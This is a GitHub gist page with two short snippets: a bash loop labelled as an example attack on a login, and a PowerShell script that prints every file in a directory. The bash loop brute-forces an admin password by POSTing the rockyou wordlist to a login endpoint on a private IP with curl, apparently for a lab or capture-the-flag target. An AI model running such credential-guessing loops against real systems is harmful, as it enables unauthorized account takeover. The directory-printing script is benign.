Skip to content

Instantly share code, notes, and snippets.

View JassonCordones's full-sized avatar
🏠
Working from home

Jasson JassonCordones

🏠
Working from home
View GitHub Profile
@JassonCordones
JassonCordones / LoopLogin.sh
Created February 27, 2026 16:42
Example Loop to attack a login
target=http://10.64.183.25/terminal.php?action=login
dict=~/Downloads/rockyou.txt
for pass in $(cat dict); do
user=admin
echo "Trying user: $user & pass: $pass"
response=$(curl -A "secretcomputer" -s -X POST -d "username=$user&password=$pass" "$target")
echo "$response"
if echo "$response" | jq -e '.status != "fail"'; then
echo "[+] Password found: $pass"
break
@JassonCordones
JassonCordones / GetDirectoryContent.ps1
Last active October 7, 2025 12:25
Print contents of a directory
$targetDir = ""
Get-ChildItem -Path $targetDir -Recurse -File | ForEach-Object {
$parent = $_.Directory.Name
$name = $_.Name
Write-Output "`n=== $parent\$name ==="
Get-Content -Path $_.FullName -Raw
}